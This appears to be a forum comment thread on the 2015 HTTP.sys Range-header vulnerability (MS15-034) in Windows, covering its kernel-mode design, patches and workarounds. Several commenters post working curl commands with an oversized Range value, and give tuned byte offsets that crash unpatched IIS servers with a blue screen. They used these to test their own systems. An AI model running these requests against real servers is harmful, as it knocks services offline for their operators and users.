Remote Kernel Code Execution Via HTTP Request In IIS On Windows

https://ma.ttias.be/remote-code-execution-via-http-request-in-iis-on-windows/?hn

by Mojah • 11 years ago

458 179 11 years ago

ma.ttias.be

MichaelGG5• 11 years ago

So unchecked arithmetic is the culprit, again? And this would seem to be the kind of thing that could get passed through frontends unless they already cached a result.

__michaelg2• 11 years ago

The interesting take-away is the .sys suffix on the filename: Yes, Windows contains a device driver running in Kernel mode that cares about (IIS) HTTP traffic.

comice• 11 years ago

goodness me yes. It appears to be a kernel-mode http parser:

http://www.microsoft.com/technet/prodtechnol/WindowsServer20...

is that really the only way MS could make IIS fast enough?

stephengillie4• 11 years ago

HTTP.sys feeds directly into the IIS Request Queue. When that queue overruns, (i.e. too many pending requests that are waiting on a backend NAS or other resource) it's HTTP.sys providing the 503 error, not IIS.

jerf• 11 years ago

You know how $YOU need to pick a web server, and so you start reading about them, and you find a site that has posted some microbenchmark about serving a hundred byte static file or something, and $SERVER1 can do 106,000 per second and $SERVER2 can do 107,000 per second, so $YOU go with $SERVER2 without asking any more questions?

Yeah... that does nasty things to these server's architecture... "Performance at all costs" eventually strays into taking down the barriers built to protect the system, but at the inevitable cost of slowing things down as things go through the barriers.

TazeTSchnitzel• 11 years ago

Windows also has a TCP/IP stack in the kernel.

And a GUI stack (win32k.sys).

__michaelg2• 11 years ago

Yup, that's not that special though. All major OS have the TCP/IP stack in the kernel. And many (but not all) OS have at least parts of their GUI stacks in the kernel.

eis5• 11 years ago

Here the Microsoft Security Bulletin: https://technet.microsoft.com/library/security/ms15-034

I think the title is downplaying the severity of the bug. It's a remote code execution vulnerability in http.sys which is a webserver component running inside the kernel (yea right, great idea!) so you can get remote root via HTTP request. The blog quotes this correctly but I get the feeling the author didn't communicate it properly.

Someone please adjust the title of this submission to something like "CVE-2015-1635: remote kernel code execution via HTTP request affecting Windows Server"

Mojah2• 11 years ago

It'll be the second, I'm afraid. Only Windows Servers running IIS should be vulnerable, maybe the post didn't make that entirely clear.

detaro• 11 years ago

According to comments in the other discussion here about this it might not IIS be only, because that kernel component is used for other HTTP services as well:

https://news.ycombinator.com/item?id=9378449

0942v8653• 11 years ago

Sounds like the author understands the bug but does not understand why it allows remote code execution (which I don't understand either; once details are released it should be clarified).

bontoJR2• 11 years ago

That's a good point, because in the example we can clearly see how to check if a system is or not patched and that, using this attack, we can crash a Windows Server.

The remote execution part is completely missing (fortunately), but I was wondering if this gives the admin rights on machine (I have absolutely no experience on Windows Server machines, so I don't know how it works in terms of services, permissions and roles).

pjmlp2• 11 years ago

webserver component running inside the kernel (yea right, great idea!)

Actually an idea shared among many OS, including GNU/Linux.

http://en.wikipedia.org/wiki/In-kernel_web_server

icebraining3• 11 years ago

Well, of course you can make such a web server on any OS where you can modify or extend the kernel, but TUX is not exactly a popular or recommended solution. There's a reason the reference manual is dated 2001.

tribaal3• 11 years ago

That you can write a module to serve HTTP from kernel space is a given.

That people actually use it is another topic.

IgorPartola2• 11 years ago

To be fair, http://en.wikipedia.org/wiki/TUX_web_server. Having said that, this is huge. This is way worse than Heartbleed for the IIS crowd.

psibi2• 11 years ago

From the linked page: "TUX has never been an integrated part of the official Linux kernel, although it has been shipped in some distributions, notably Red Hat, SuSE and Fedora."

tribaal3• 11 years ago

And how much internet-facing web content is served with this toy webserver exactly?

That's what I thought, none (except maybe the author's blog? wild guess).

nbevans3• 11 years ago

It really isn't.

OpenSSL's heartbleed was incredibly hard to patch because of the sheer number of products that link to the OpenSSL libraries. It required painstaking effort to ensure everything was running the latest releases. And the severity of Heartbleed was such that all encrypted information could be deciphered.

Whereas this problem... is a simple server crash that can be fixed by running a Windows Update. Not even on the same scale of vulnerability.

easytiger• 11 years ago

http.sys which is a webserver component running inside the kernel (yea right, great idea!)

I had no idea. Madness

kstrauser• 11 years ago

I had no idea. Madness

They aren't the only ones who do this: https://www.freebsd.org/cgi/man.cgi?accf_http . All sorts of things are kernel-accelerated on modern operating systems, including lots of network operations. From that perspective, this is just one more and it could potentially have a huge benefit (like the same page served count on fewer hardware) for customers who need it.

Obviously it's critically important that MS get this right if they're going to offer it at all, but that's pretty much a tautology when talking about kernels and core OS functionality. Judge them on a bad implementation, not on any inherent badness in the idea.

jameshart• 11 years ago

Why is it inherently 'madness' to have part of your HTTP stack running in kernel space? I think it's generally accepted that handling TCP in the kernel isn't madness; what's the magic distinction between dealing with TCP packets from remote machines and dealing with HTTP requests from remote machines that makes one of them an acceptable activity to carry out in kernel space, and one not?

To be clear about http.sys, it's not what you would normally consider a 'web server'. It leaves things like 'serving files' and 'authentication' and stuff up to userland application processes like IIS. But it allows multiple userland applications to be routed HTTP requests directly, without an IPC dispatch.

kpcyrd• 11 years ago

A remote code execution vulnerability exists in the HTTP protocol stack [...] could execute arbitrary code in the context of the System account.

SYSTEM is higher than admin. Using IIS on windows is like running a webserver as root on linux.

aninteger• 11 years ago

Only at the HTTP parsing stage.. Once you get into ASP.net you'll have dropped privileges.

rst• 11 years ago

Typical Linux servers drop privileges before accepting any connections from clients, precisely to limit the scope of this sort of vulnerability.

drzaiusapelord• 11 years ago

Lets not play the "my team is better than your team" hysterics, especially when we all had to do emergency patching for shellshock, heartbleed, samba, drupal, etc in the past couple months. Hell, sambra runs as root and that doesn't seem to outrage anyone.

xorcist• 11 years ago

Samba doesn't run as a kernel module though.

I suspect such a patch would not get far, just as many ridiculed the TUX web server some fifteen years ago.

cremno• 11 years ago

From the exploit code:

    memset(&serv_addr, '0', sizeof(serv_addr));

That doesn't seem to be correct. The digit character 0 is not the same as the null character ('\0'). Just write 0 or use `struct sockaddr_in serv_addr = { 0 };`.

benjamincburns2• 11 years ago

ASCII NUL is indeed 0x0.

http://en.m.wikipedia.org/wiki/Null_character http://www.bibase.com/images/ascii.gif

masklinn• 11 years ago

But '0' is not ascii NUL (0x00), it's ascii 0 (0x30).

ehmmm2• 11 years ago

'0' != '\0'

'0' == 48

mnw21cam• 11 years ago

It is common for code which is designed to trigger security bugs in systems to be published with several errors, so that skiddies can't just compile and run.

e12e3• 11 years ago

Which makes me sad. Makes it just as easy for dedicated crackers, makes it harder on busy, overworked sysadmins to check.

All the script-kids need to do is find someone to help them, so I don't really think this helps anyone.

Khao10• 11 years ago

I tried to send the bad curl request to our servers (test env, obviously) and I didn't get any error. It seems I should be getting "Requested Range Not Satisfiable" if the server is vulnerable and "The request has an invalid header name" if it's patched. I'm getting neither, simply a normal response HTTP 200 with the requested page. Anyone knows how to really test it?

EDIT : It is indeed related to "Output Cache" setting in IIS as I said I was suspecting in another comment. I managed to crash our servers by going to IIS Management, select the website I wanted to test, go to Output Caching, enable the feature AND also add a rule (I added a rule for .png just to test). If you have NO rules it is the same as having the feature disabled so you are safe. If you add a rule and check "Enable Kernal Caching" you are vulnerable!

EDIT 2 : As some have asked, this is the command I used to crash our test server. I tested it after having created a new Output Caching rule to cache all .png files in kernel mode.

curl -v http://example.com/image.png -H "Range: bytes=18-18446744073709551615"

I didn't take a screenshot of the BSOD and I don't plan on crashing our test env a second time today because people are using it (I tested it early enough that not a lot of people were at the office yet).

pjc50• 11 years ago

Are you sure that curl is sending the request properly? (Check with tcpdump)

Khao10• 11 years ago

Yep. I tried curl -v to get all the raw headers line by line and the payload is there, and I also tried in telnet, both return a 200 page.

I read the microsoft security bulletin and it says that your IIS server is protected if Kernal Caching is off, maybe that's why our servers are neither blocking the request nor crashing with the request.

pweissbrod3• 11 years ago

+1. Also tried this on multiple web servers. Unable to reproduce under several different scenarios using curl

pweissbrod3• 11 years ago

EDIT: adding the output caching rules confirms it. BSOD :(

amarraja• 11 years ago

Have tried on all our production facing domains (with and without CDN and get 200 responses also.

One server (our development server) has proven vulnerable. Maybe reverse proxies are sanitizing the results?

    $ curl -v 10.100.0.40/ -H "Host: irrelevant" -H "Range: bytes=0-18446744073709551615"
    * About to connect() to 10.100.0.40 port 80 (#0)
    *   Trying 10.100.0.40...
    * Adding handle: conn: 0x1d83278
    * Adding handle: send: 0
    * Adding handle: recv: 0
    * Curl_addHandleToPipeline: length: 1
    * - Conn 0 (0x1d83278) send_pipe: 1, recv_pipe: 0
    * Connected to 10.100.0.40 (10.100.0.40) port 80 (#0)
    > GET / HTTP/1.1
    > User-Agent: curl/7.30.0
    > Accept: */*
    > Host: irrelevant
    > Range: bytes=0-18446744073709551615
    >
    < HTTP/1.1 416 Requested Range Not Satisfiable
    < Content-Type: text/html
    < Last-Modified: Wed, 27 Aug 2014 14:56:23 GMT
    < Accept-Ranges: bytes
    < ETag: "885fe5117c2cf1:0"
    * Server Microsoft-IIS/7.5 is not blacklisted
    < Server: Microsoft-IIS/7.5

ftcHn• 11 years ago

I've just tried on AWS Elastic Beanstalk https servers and not been able to BSOD. We don't have output caching enabled.

guiomie• 11 years ago

Are you sure you have IIS on an OS with the vulnerability? It seems like windows 2008 R2 has it, but not 2008. My work is all on windows 2008, not R2.

functionCall3• 11 years ago

I can confirm what Khao is saying from my own testing.

Khao10• 11 years ago

Do you happen to have a screenshot of the BSOD, or could test it a second time to take a screenshot? I don't really have a free test server that I can crash anymore since I tested this morning when not a lot of people were at the office yet.

el_duderino4• 11 years ago

Proof of BSoD: https://www.youtube.com/watch?v=BlBXREzsytc

eqkosch3• 11 years ago

As all our servers are behind a traffic manager product like F5/ZXTM I'm experimenting with removing the range header so it never reaches the webserver as some app's rely on kernel mode caching to achieve performance.

Also my tests seem to indicate that just having kernel mode caching enabled even if you dont have any rules still seem to cause a BSOD.

Khao10• 11 years ago

You're right! Even with no rule having kernal caching enabled will crash it! I think IIS assumes it should cache all static content even when there are no rules specifically for them. Somehow I can't edit my comment anymore but I'll leave this here :

EVEN WITH NO RULES, YOU ARE VULNERABLE! My previous answer has been proven to be wrong!

tracker14• 11 years ago

That was my case as well... initialized IIS on a fresh server to test against. (took me a while to figure out that IIS wasn't even setup, since the IIS manager was on the server) ... accidentally crashed my local machine too (forgot to change the localhost to the ip of the server whyn copy/pasting the url from the browser on the server)

This is pretty wild.

lontivero• 11 years ago

If I understood well, the HTTP request with the Range header is just a way to CHECK for the vulnerability and it is not THE vulnerability.

The vulnerability allows execute code remotly under the Syetem account.

Am I wrong?

cbrevik• 11 years ago

I just crashed a 2008 R2 server without a rule, just with "Enable Kernel Caching". Not sure if it is relevant, but I first added a rule for .png, and then removed it again. Still worked.

Khao10• 11 years ago

Can't edit the top comment anymore :( but it has been found that indeed no rules are needed to exploit this (my previous answer is outdated and wrong!)

If you can't afford to reboot your servers right now to install the patch, at least you can add this to your web.config and deploy your websites ASAP :

el_duderino4• 11 years ago

Site to check: https://lab.xpaw.me/MS15-034

hitgeek• 11 years ago

confirmed the above command crashed my win 2012 r2 server on AWS with no output cache rules. I found a png being served by my home page, and after 2 of the above requests the server crashed.

I installed the pending windows updates and after a restart the problem seems to be gone.

vdnkh• 11 years ago

I'm getting "Range requested not satisfiable" but no crash. Am I vulnerable or just doing it wrong?

higherpurpose• 11 years ago

Details are withheld for now

At least for us. DHS/NSA already has them thanks to Microsoft's renewed commitment to share "cyber-threat" data with them (a.k.a zero-days).

genericresponse• 11 years ago

I'm actually sort of glad that my national defense forces get a jump on this stuff. Especially if it's only a few days or a week to secure their systems and (for the clandestine services) to retool their exploits. I believe there are actual clandestine actions in the national interest happening and it would be nice to see those enabled. (e.g. Stuxnet/sabotaging foreign nuclear weapons development)

walls• 11 years ago

DHS/NSA already has them

Every major security company has them thanks to MAPP. I don't quite understand why people have such a problem with this program.

You also can't ignore that the most recent linux vulnerabilities were privately disclosed to major vendors weeks ahead of time, as well.

pimterry• 11 years ago

But does it have a catchy name yet?

I suggest: Long-range

nunwuo• 11 years ago

"Lone Ranger"

eloy• 11 years ago

I suggest: HypnosIIS. https://twitter.com/eloydegen/status/588362098314477569

solomania9• 11 years ago

I suggest: IISIS

louthy• 11 years ago

"Range Rover"

el_duderino4• 11 years ago

Heartattack.

jkrems• 11 years ago

The reason the kernel is involved with http handling is a feature called "Kernel Caching"[1]:

Enable kernel caching to effectively scale and improve Web server performance. Cached responses are served from the kernel. This greatly improves response times and increases the number of requests per second that IIS can serve because requests for cached content never enter IIS user mode.

[1] https://technet.microsoft.com/en-us/library/cc731903(v=ws.10...

nissimk2• 11 years ago

If you don't have the kernel caching enabled, does this vulnerability still work?

algorithmsRcool• 11 years ago

According to microsoft's bulletin disabling kernel caching will avoid the vulnerability.

* I should cite this : https://technet.microsoft.com/library/security/ms15-034

See section Vulnerability Information > Workarounds

patja• 11 years ago

Windows Update patched this yesterday, right? At least I see KB 3042553 listed in my update history from yesterday.

userbinator2• 11 years ago

It's surprising that this could even cause a crash, much less code execution, since if it really is an integer overflow I'd expect the range to wrap around (mod 2^n) and you'd just get a different part of the file you were requesting (e.g. with 32-bit maths, asking for bytes 0-4294967300 will return bytes 0-4 instead.) It looks more like a signed/unsigned confusion to me - the 1844...615 value is -1 if interpreted as a signed number, and even if this caused reading past the end of a buffer, the result would be more Heartbleed-like than code execution.

Just taking a guess here, but the code execution probably requires a POST request instead of GET. Nevertheless, it's still quite puzzling how something like this could occur.

Note: I have not tested this personally. Others here https://news.ycombinator.com/item?id=9380889 say they haven't been able to reproduce it.

Edit: apparently you need kernel caching of HTTP requests enabled, and at least one rule for caching, and the request has to satisfy that rule, in order to cause a crash.

reiichiroh• 11 years ago

The patches for the MS Server OSes are at: https://support.microsoft.com/en-us/kb/3042553

It's a little unclear that this was patched as part of last night's Patch Tuesday.

stephengillie4• 11 years ago

We just patched our webservers last night. This morning, I see 9 more patches available, including this one.

stephengillie4• 11 years ago

The part that makes this really nasty is it doesn't just impact webservers. IIS is highly leveraged by other Microsoft technologies, everything from WSUS to SMTP to Exchange to Sharepoint are affected. In my environment, I estimate that 3/4 of my servers are vulnerable.

MichaelGG5• 11 years ago

It's not IIS. It's HTTP.SYS. New configs have Powershel remote or WinRM. They use http.Sys and are vulnerable.

MichaelGG5• 11 years ago

Seems I'm wrong. Kernel cache has to be enabled explicitly and Powershell/WinRM don't do that. Whew.

jobigoud• 11 years ago

Is the HttpListener .NET class impacted?

https://msdn.microsoft.com/en-us/library/system.net.httplist...

jimbobimbo• 11 years ago

http.sys lives at the bottom of HTTP processing/consumption stack, and that's where vulnerability is. HttpListener simply uses Windows HTTP stack's services, as IIS and others do.

lubos• 11 years ago

It looks like HttpListener doesn't support kernel caching at all which means it's not vulnerable to this attack.

JohnBooty• 11 years ago

FYI: I believe all you need to do is run Windows Update (and reboot) in order to get the patch for this.

I'm mentioning this because found I the Microsoft articles slightly unclear; they listed separate downloads for these updates and I wasn't sure if those updates were available via Windows Update or not.

However, it appears that running Windows Update is sufficient. I ran Windows Update on a 2008 R2 server running IIS. One of the updates it pulled down was "Security Update for Windows Server 2008 R2 x64 Edition (KB3042553) which is the KB article that references this vulnerability.

After Windows Update & a reboot, I used the curl snippet provided on the linked article to test my patched server. At this point it does not appear to be vulnerable to this issue.

xPaw• 11 years ago

Made a online tool that tests for this vuln: https://lab.xpaw.me/MS15-034/?host=bing.com

51Cards• 11 years ago

Tested against three servers, one patched and two not. Small test but it correctly identified which was which.

el_duderino4• 11 years ago

What did it say for the ones not vulnerable?

h43k3r• 11 years ago

I was wondering, is their a way to know the the type of webserver a website is using ? I mean can we do it using some kind of headers?

getsat• 11 years ago

The "Server" response header will usually tell you but may omit a specific version depending on configuration.

Use "curl -I whatever.com" to send a HEAD request and look at the headers in the response.

Meiscooldude• 11 years ago

Does anyone know how this affects azure?

davman7• 11 years ago

Best I could do on a freshly installed Win2k12 with IIS was:

curl -v http://server-name/iis-85.png -H "Range: bytes=18-18446744073709551615"

Run the curl twice and the bluescreen happens the second time. If I don't request the image then it doesn't work.

I've not added any specific rules for output caching.

Edit: The crash screen is very dull:

http://imgur.com/MZ7VNHQ

endian012• 11 years ago

Confirmed with Windows 8.1 Pro w/ IIS ..

Same conditions, must run request twice for the .png (with the IIS rule set)

Not like it matters, but I am toying with the first Range number.. (ie: 40-1884...615)

Edit: crash @ 40-1884, oh-shit-reboot at 100-1884

Satchelmouth2• 11 years ago

Confirmed: I couldn't force a BS using the originally supplied range numbers, but changing it as per above to 100 did the trick (windows 2008 non R2 & 2012 R2)

Khao10• 11 years ago

Did you have to configure any rule in the Output Caching or that's completely default values?

davman7• 11 years ago

I initially configured rules (I was following your instructions) but I've now deleted the rules and still have the crash.

davman7• 11 years ago

What is also interesting is that if I do this instead:

curl -v http://10.243.0.221/iis-85.png -I -H "Range: bytes=18-18446744073709551615"

(added -I), then it doesn't cause the crash.

gkop• 11 years ago

-I sends a HEAD rather than a GET, so that's not too surprising.

shawnz• 11 years ago

Edit: The crash screen is very dull:

Could you show the event log entry also?

davman7• 11 years ago

I couldn't find anything that wasn't just the report of a bluescreen.

functionCall3• 11 years ago

http://imgur.com/RTbw7co confirmed for default IIS without any rules set, completely default values.

Rapzid• 11 years ago

Yup, took me a few more goes but confirmed 2012R2 on AWS behind ELB. I've been up for a while making new images.. 5:08AM :|

I can also confirm it crashes my command window using curl via cygwin lol.

shaunrussell• 11 years ago

Isn't a lot of government using IIS? How long before someone starts attacking their services with this?

Is Azure vulnerable?

balakk• 11 years ago

There's a chance the Azure load-balancer might filter out malicious requests; but I wouldn't know for sure. One of the boxes I have on Azure didn't crash.

eeZi• 11 years ago

Probably patched already.

nathanaldensr• 11 years ago

It seems to me that if you're running a vulnerable high-value server, the only option for you as an IT admin is to completely wipe the host hard drive and install everything from scratch--and even that may not be enough. Remote kernel code execution means an attacker could install malicious drivers, mess with device firmware, or do pretty much anything else the Windows kernel could do, no? It's a gamble to simply patch the server and hope you weren't already compromised; after all, how does one detect that remote kernel code execution occurred?

In a virtualized environment, I imagine blowing away any disks/volumes should be enough to recover from a potentially compromised system. That said, new Windows volumes (say, on EC2) should be created without inbound HTTP access, patched, and only then allowed to serve HTTP traffic.

adandy• 11 years ago

After running windows update my machine went from responding with

HTTP Error 416. The requested range is not satisfiable.

HTTP Error 400. The request has an invalid header name.

latchkey• 11 years ago

I was wondering how the number, 18446744073709551615, was chosen as the magic number. Maybe it is from this?

http://en.wikipedia.org/wiki/Wheat_and_chessboard_problem

Edit: 2^64 - 1

kennethgeiler• 11 years ago

aweomse

pslam• 11 years ago

I bet somewhere in the source there is a line which looks like:

    if (inclusiveEnd + 1 > size) {
        return ERR_INVALID;
    }

HTTP ranges are inclusive, and most likely implemented here with unsigned 64 bit integers. My guess is the author converted to exclusive range, then compared with size, as a form of validation. It passes the check, because 18446744073709551615 + 1 results in wraparound to 0.

The general solution is instead to use something like:

    if (size < offset || start > size - offset) {
        ... // range violated
    }

But you hardly ever see people do that.

TheLoneWolfling2• 11 years ago

Note that that solution won't work with signed values, and compilers will happily optimize out the check in that case.

paulchen• 11 years ago

Is Windows Server 2008 Standard Edition also affected or just 2008 R2?

ibre5041• 11 years ago

It is not only about IIS. Various other SW use this API. For example Citrix Remote Receiver. And also various Antivirus Programs, use this HTTP interface – to be accessible from central management. Just try to execute “netsh show http urlacl” and you will see how many programs use it. Or you can use TCPView(Sysinternals) to see which ports are bound by "process" SYSTEM (pid 4).

Satchelmouth2• 11 years ago

I can confirm on Windows 2K8R2 and 2K12, with Kernel Caching enabled (as per default IIS settings) and without any Kernel Caching rules, that I can reproduce the issue using the cURL method.

Steps to reproduce.

Check server is vulnerable curl -v http://blah.com/ -H "Range: bytes=00-18446744073709551615"

You should see a Error 416.

Force crash curl -v http://blah.com/images/blah.jpg -H "Range: bytes=100-18446744073709551615" --and/or-- curl -v http://blah.com/images/blah.jpg -H "Range: bytes=40-18446744073709551615"

Note above: You have to specifically address a file AND use byte range 40 or 100 in my setup to make it bluescreen.

After Patching - Check Vulnerability curl -v http://blah.com/ -H "Range: bytes=00-18446744073709551615"

Response: Error 400: The request has an invalid header name

After Patching - Force Crash Test

curl -v http://blah.com/images/blah.jpg -H "Range: bytes=100-18446744073709551615"

Response: 206 Partial Content

Hope that helps.

wanda• 11 years ago

Well, it's just gone 3am here in the UK. I can finally install the update.

nbevans3• 11 years ago

Just to clarify to everyone that this vulnerability has absolutely nothing to do with IIS web server. HTTP.SYS is not part of IIS. HTTP.SYS is the way HTTP/S hosting works on Windows. Any applications may use it, it is an API.

HTTP.SYS is a clever idea as it allows the 80/443 ports to be used by multiple processes, as long as they register unique base URLs. What's not so clever about it is that despite rigorous testing and validation against its codebase, that something like this slipped through. Historically, HTTP.SYS has had a pretty good track record (against all the odds) until this week.

jenscow• 11 years ago

So, IIS doesn't use http.sys?

nbevans3• 11 years ago

It does. But this vulnerability is specifically with HTTP.SYS. HTTP.SYS is kind of like a SSL terminator and request router built into the OS.

ptaipale• 11 years ago

The subject line says HTTP only. Does this attack work over HTTPS?

tbpollard2• 11 years ago

yes, at least the BSOD aspect. I haven't been able to confirm remote code execution, but I was able to BSOD IIS 8.5 via this method over http and https.

tbpollard2• 11 years ago

Does anyone have an example of the remote code execution?

trosenbaum• 11 years ago

I have written vulnerability testers in Powershell and C# varieties:

https://gist.github.com/Zagrophyte/ea086087e6fd7ca579ef (Powershell)

https://gist.github.com/Zagrophyte/0fa7a8e2e507fac2b59d (C#)

Remote Kernel Code Execution Via HTTP Request In IIS On Windows

Related Stories